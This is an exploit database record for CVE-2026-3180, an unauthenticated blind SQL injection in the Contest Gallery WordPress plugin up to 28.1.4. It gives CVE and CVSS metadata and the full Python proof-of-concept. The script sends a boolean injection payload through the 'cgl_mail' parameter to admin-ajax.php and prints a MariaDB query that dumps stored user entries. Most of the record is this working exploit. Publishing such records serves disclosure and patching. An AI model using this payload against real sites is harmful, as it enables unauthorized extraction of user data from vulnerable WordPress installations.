{"exploit":{"id":"EDB-52609","name":"WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection (SQLi)","description":"WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection (SQLi)","cves":["CVE-2026-3180"],"author":"cardosource","published":"2026-06-05","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52609","path":"exploits/multiple/webapps/52609.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52609.py","vulnerabilities":[{"id":"CVE-2026-3180","state":"PUBLISHED","title":"Contest Gallery <= 28.1.4 - Unauthenticated SQL Injection","titleSource":"CVE Program","description":"The Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe plugin for WordPress is vulnerable to blind SQL Injection via the ‘cgLostPasswordEmail’ and the ’cgl_mail’ parameter in all versions up to, and including, 28.1.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The vulnerability's ’cgLostPasswordEmail’ parameter was patched in version 28.1.4, and the ’cgl_mail’ parameter was patched in version 28.1.5.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-3180","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"Wordfence","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-3180"},"updatedAt":"2026-04-08T17:09:18.256Z","retrievedAt":"2026-11-25T16:15:43.262Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52609.png?v=2","url":"https://exploitbin.com/exploits/EDB-52609","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52609/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52609/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection\n# Google Dork:  N/A\n# Date: 2026-06-02\n# Exploit Author: cardosource\n# Vendor Homepage: https://contest-gallery.com/\n# Software Link: https://wordpress.org/plugins/contest-gallery/\n# Version: <= 28.1.4\n# Tested on: Docker - PHP 8.2/Apache + MariaDB (WordPress Environment)\n# CVE: 2026-3180\n\n\n\"\"\"\nDescription\n\nA Blind SQL Injection vulnerability exists in Contest Gallery versions 28.1.4 and earlier. The issue is caused by the unsafe use of the cgl_maili parameter, where sanitize_email() preserves the single quote (') character in the local part of an email address. As a result, user-controlled input reaches wpdb->get_row() without proper parameterization via prepare(), allowing unauthenticated attackers to perform boolean-based blind SQL injection.\nAuthentication Required: No\n\n\"\"\"\n\n\nimport requests\nimport json\n\nNONCE = \" \"\nURL = \"http://localhost:8080/wp-admin/admin-ajax.php\"\nendpoint = \"/wp-admin/admin-ajax.php\"\nurl = \"http://localhost:8080/\"\npayload = \"'OR/**/1=1#@teste.com' and 'OR/**/1=2#@teste.com\"\n\ndef send_payload(mail):\n    data = {\n        \"action\": \"post_cg1l_resend_unconfirmed_mail_frontend\",\n        \"cgl_mail\": mail,\n        \"cgl_page_id\": \"1\",\n        \"cgl_activation_key\": \"\",\n        \"cg_nonce\": NONCE,\n    }\n    return requests.post(URL, data=data)\n\nr_true = send_payload(\"qualquer'OR/**/1=1#@teste.com\")\n\nif r_true.status_code == 200:\n    status_code = r_true.status_code\n\n\nbanner = f\"\"\"\nCVE : 2026-3180 | Contest Gallery 28.1.4 : Boolean SQLi\n\npayload :........................{payload}\nend point :........................{endpoint}\nurl :..............................{url}\nstatus :...........................{status_code}\nnonce :............................{NONCE}\n\"\"\"\n\nprint(banner)\nprint(f\"Body length: {len(r_true.text)} chars\")\n\npoc =f'''\\nmariadb wordpress_db -e \"\nSELECT * FROM wp_contest_gal1ery_create_user_entries\nORDER BY Tstamp DESC LIMIT 1115;\"'''\n\nprint(poc)","sha256":"08e8f80b78a51fa923dd4a833b4ef03d42626fbb8b00a756263a64027061a2a8","bytes":1993,"fetchedAt":"2026-11-26T08:58:58.855Z","encoding":"utf-8 (display only; download retains original bytes)"}